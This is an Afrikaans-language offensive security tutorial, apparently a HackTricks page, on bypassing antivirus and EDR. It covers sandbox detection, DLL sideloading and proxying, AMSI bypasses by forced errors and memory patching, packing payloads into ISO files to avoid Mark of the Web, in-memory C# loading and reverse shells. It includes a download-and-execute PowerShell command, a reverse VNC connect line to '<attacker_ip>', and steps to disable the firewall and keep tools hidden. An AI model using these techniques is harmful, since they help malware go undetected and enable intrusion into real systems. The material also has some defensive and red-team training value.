Antivirus (AV) Bypass
Hierdie bladsy is geskryf deur @m2rc_p!
AV Evasie Metodologie
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
Statiese opsporing
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
Enkripsie
As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te dekripteer en uit te voer.
Obfuskaasie
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
Pasgemaakte gereedskap
As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge wees nie, maar dit neem baie tyd en moeite.
'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is ThreatCheck. Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is.
Ek beveel sterk aan dat jy hierdie YouTube-speellys oor praktiese AV Evasie kyk.
Dinamiese analise
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te omseil.
Slaap voor uitvoering Afhangende van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
Kontroleer masjien se hulpbronne Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
Masjien-spesifieke kontroles As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne defender se sandbox, so jy kan jou program laat verlaat.
Sommige ander regtig goeie wenke van @mgeeky om teen Sandboxes te gaan
Soos ons voorheen in hierdie pos gesê het, openbare gereedskap sal uiteindelik opgespoor word, so jy moet jouself iets vra:
Byvoorbeeld, as jy LSASS wil dump, het jy regtig nodig om mimikatz te gebruik? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so soek net na alternatiewe vir wat jy probeer bereik.
Wanneer jy jou payloads vir evasie aanpas, maak seker om outomatiese monster indiening in defender af te skakel, en asseblief, ernstig, LAAT NIE OP VIRUSTOTAL OP NIE as jou doel is om evasie op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
EXEs vs DLLs
Wanneer dit moontlik is, moet jy altyd prioritiseer om DLLs vir evasie te gebruik, in my ervaring, is DLL-lêers gewoonlik baie minder opgespoor en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer stil te wees.
DLL Sideloading & Proxying
DLL Sideloading maak gebruik van die DLL soekorde wat deur die laaier gebruik word deur beide die slagoffer toepassing en kwaadwillige payload(s) langs mekaar te posisioneer.
Jy kan programme wat vatbaar is vir DLL Sideloading kontroleer met Siofra en die volgende powershell skrip:
Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL-hijacking binne "C:\Program Files\" en die DLL-lêers wat hulle probeer laai, uitset.
Ek beveel sterk aan dat jy DLL Hijackable/Sideloadable programme self verken, hierdie tegniek is redelik stil as dit reg gedoen word, maar as jy publiek bekende DLL Sideloadable programme gebruik, kan jy maklik gevang word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal nie jou payload laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag, om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat DLL Proxying/Forwarding genoem word.
DLL Proxying stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.
Ek sal die SharpDLLProxy projek van @flangvik gebruik.
Hierdie is die stappe wat ek gevolg het:
Die laaste opdrag sal vir ons 2 lêers gee: 'n DLL bronskode sjabloon, en die oorspronklike hernoemde DLL.
Hierdie is die resultate:
Beide ons shellcode (gecodeer met SGN) en die proxy DLL het 'n 0/26 Deteksie koers in antiscan.me! Ek sou dit 'n sukses noem.
Ek beveel sterk aan dat jy S3cur3Th1sSh1t se twitch VOD oor DLL Sideloading kyk en ook ippsec se video om meer te leer oor wat ons in meer detail bespreek het.
Freeze is 'n payload toolkit vir die omseiling van EDRs deur gebruik te maak van gestaakte prosesse, direkte syscalls, en alternatiewe uitvoeringsmetodes
Jy kan Freeze gebruik om jou shellcode op 'n stil manier te laai en uit te voer.
Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykings tegnieke te kombineer.
AMSI (Anti-Malware Scan Interface)
AMSI is geskep om "fileless malware" te voorkom. Aanvanklik was AV's slegs in staat om lêers op skyf te skandeer, so as jy op een of ander manier payloads direk in-geheue kon uitvoer, kon die AV niks doen om dit te voorkom nie, aangesien dit nie genoeg sigbaarheid gehad het nie.
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
Windows Script Host (wscript.exe en cscript.exe)
JavaScript en VBScript
Office VBA makros
Dit stel antivirusoplossings in staat om skripgedrag te ondersoek deur skripinhoud in 'n vorm bloot te stel wat beide nie-geënkripteer en nie-verbloem is nie.
Die uitvoering van IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
sal die volgende waarskuwing op Windows Defender produseer.
Let op hoe dit amsi:
voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
Ons het nie enige lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
Daar is 'n paar maniere om rondom AMSI te kom:
Obfuskaasie
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy moet doen, om 'n paar veranderlikes se name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
AMSI Ontwyking
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laai, is dit moontlik om dit maklik te manipuleer selfs terwyl jy as 'n nie-bevoegde gebruiker loop. Vanweë hierdie fout in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI skandering te ontwyk.
Dwing 'n Fout
Om die AMSI-initialisering te dwing om te misluk (amsiInitFailed) sal daartoe lei dat geen skandering vir die huidige proses geïnisieer sal word nie. Oorspronklik is dit bekend gemaak deur Matt Graeber en Microsoft het 'n handtekening ontwikkel om breër gebruik te voorkom.
Alles wat nodig was, was een lyn van powershell kode om AMSI onbruikbaar te maak vir die huidige powershell proses. Hierdie lyn is natuurlik deur AMSI self gemerk, so 'n paar wysigings is nodig om hierdie tegniek te gebruik.
Hier is 'n gewysigde AMSI omseiling wat ek van hierdie Github Gist geneem het.
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos uitkom, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.
Geheue Patching
Hierdie tegniek is aanvanklik ontdek deur @RastaMouse en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat geïnterpreteer word as 'n skoon resultaat.
Lees asseblief https://rastamouse.me/memory-patching-amsi-bypass/ vir 'n meer gedetailleerde verduideliking.
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na hierdie bladsy en hierdie repo om meer daaroor te leer.
Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch.
Obfuskaasie
Daar is verskeie gereedskap wat gebruik kan word om C# duidelike tekskode te obfuskeer, metaprogrammering templates te genereer om binêre te kompileer of gecompileerde binêre te obfuskeer soos:
InvisibilityCloak: C# obfuskeerder
Obfuscator-LLVM: Die doel van hierdie projek is om 'n oopbron-fork van die LLVM kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van kode obfuskaasie en tamper-proofing.
ADVobfuscator: ADVobfuscator demonstreer hoe om
C++11/14
taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.obfy: Voeg 'n laag van obfuskeerde operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
Alcatraz: Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
metame: Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
ropfuscator: ROPfuscator is 'n fyn-granulêre kode obfuskaasie raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
Nimcrypt: Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
inceptor: Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
SmartScreen & MoTW
Jy het dalk hierdie skerm gesien toe jy sekere uitvoerbare lêers van die internet afgelaai en uitgevoer het.
Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die eindgebruiker te beskerm teen die uitvoering van potensieel kwaadwillige toepassings.
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voer steeds uit te klik).
MoTW (Merk van die Web) is 'n NTFS Alternatiewe Data Stroom met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n betroubare ondertekeningssertifikaat nie SmartScreen sal aktiveer nie.
'n Baie effektiewe manier om te verhoed dat jou payloads die Merk van die Web kry, is om dit in 'n soort houer soos 'n ISO te verpakkie. Dit gebeur omdat die Merk-van-die-Web (MOTW) nie op nie NTFS volumes toegepas kan word nie.
PackMyPayload is 'n gereedskap wat payloads in uitvoerhouers verpakkie om die Merk-van-die-Web te ontwyk.
Voorbeeld gebruik:
Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpakkie met behulp van PackMyPayload
C# Assembly Reflection
Om C# binêre lêers in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitation gereedskap te laat loop sonder om deur AV gevang te word.
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, sal ons net bekommerd wees oor die patching van AMSI vir die hele proses.
Meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
Fork&Run
Dit behels die ontstaan van 'n nuwe offer proses, spuit jou post-exploitation kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering buitend ons Beacon implanteer proses plaasvind. Dit beteken dat as iets in ons post-exploitation aksie verkeerd gaan of gevang word, daar 'n veel groter kans is dat ons implantaat oorleef. Die nadeel is dat jy 'n groter kans het om deur Gedragsdeteksies gevang te word.
Inline
Dit gaan oor die spuit van die post-exploitation kwaadwillige kode in sy eie proses. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n veel groter kans is om jou beacon te verloor aangesien dit kan neerstort.
As jy meer wil lees oor C# Assembly laai, kyk asseblief na hierdie artikel https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ en hul InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Jy kan ook C# Assemblies van PowerShell laai, kyk na Invoke-SharpLoader en S3cur3th1sSh1t se video.
Gebruik van Ander Programmeertale
Soos voorgestel in https://github.com/deeexcee-io/LOI-Bins, is dit moontlik om kwaadwillige kode uit te voer met behulp van ander tale deur die gecompromitteerde masjien toegang te gee tot die interpreter omgewing wat op die Aanvaller Beheerde SMB deel geïnstalleer is.
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB deel toe te laat, kan jy arbitraire kode in hierdie tale binne die geheue van die gecompromitteerde masjien uitvoer.
Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP ens. te benut het ons meer buigsaamheid om statiese handtekeninge te omseil. Toetsing met ewekansige on-obfuscated reverse shell skrifte in hierdie tale het suksesvol geblyk.
Gevorderde Ontwyking
Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
Elke omgewing wat jy teenaan gaan, sal sy eie sterkpunte en swakpunte hê.
Ek moedig jou sterk aan om hierdie praatjie van @ATTL4S te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.
Dit is ook 'n ander goeie praatjie van @mariuszbit oor Ontwyking in Diepte.
Ou Tegnieke
Kontroleer watter dele Defender as kwaadwillig vind
Jy kan ThreatCheck gebruik wat dele van die binêre lêer sal verwyder totdat dit uitvind watter deel Defender as kwaadwillig vind en dit aan jou sal skei. Nog 'n hulpmiddel wat die selfde ding doen is avred met 'n oop web wat die diens aanbied in https://avred.r00ted.ch/
Telnet Bediening
Tot Windows10, het alle Windows met 'n Telnet bediener gekom wat jy kon installeer (as administrateur) deur:
Maak dit begin wanneer die stelsel begin en hardloop dit nou:
Verander telnet-poort (stealth) en deaktiveer firewall:
UltraVNC
Download dit van: http://www.uvnc.com/downloads/ultravnc.html (jy wil die bin-aflaai hê, nie die installasie nie)
OP DIE GASHEER: Voer winvnc.exe uit en konfigureer die bediener:
Aktiveer die opsie Deaktiveer TrayIcon
Stel 'n wagwoord in VNC Wagwoord
Stel 'n wagwoord in Slegs Kyk Wagwoord
Beweeg dan die binêre winvnc.exe en nuut geskepte lêer UltraVNC.ini binne die slagoffer
Omgekeerde verbinding
Die aanvaller moet binne sy gasheer die binêre vncviewer.exe -listen 5900
uitvoer sodat dit voorbereid sal wees om 'n omgekeerde VNC-verbinding te vang. Dan, binne die slagoffer: Begin die winvnc daemon winvnc.exe -run
en voer winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
uit
WAARSKUWING: Om stealth te handhaaf moet jy 'n paar dinge nie doen nie
Moet nie
winvnc
begin as dit reeds loop nie of jy sal 'n popup aktiveer. kyk of dit loop mettasklist | findstr winvnc
Moet nie
winvnc
begin sonderUltraVNC.ini
in dieselfde gids nie of dit sal die konfigurasievenster oopmaakMoet nie
winvnc -h
vir hulp uitvoer nie of jy sal 'n popup aktiveer
GreatSCT
Download dit van: https://github.com/GreatSCT/GreatSCT
Binne GreatSCT:
Nou begin die lister met msfconsole -r file.rc
en voer die xml payload uit met:
Huidige verdediger sal die proses baie vinnig beëindig.
Ons eie omgekeerde dop saamstel
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Eerste C# Omgekeerde dop
Stel dit saam met:
Gebruik dit met:
C# gebruik van die kompilator
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Outomatiese aflaai en uitvoering:
C# obfuscators lys: https://github.com/NotPrab/.NET-Obfuscator
C++
Gebruik python vir die bou van injectors voorbeeld:
Ander gereedskap
Meer
Last updated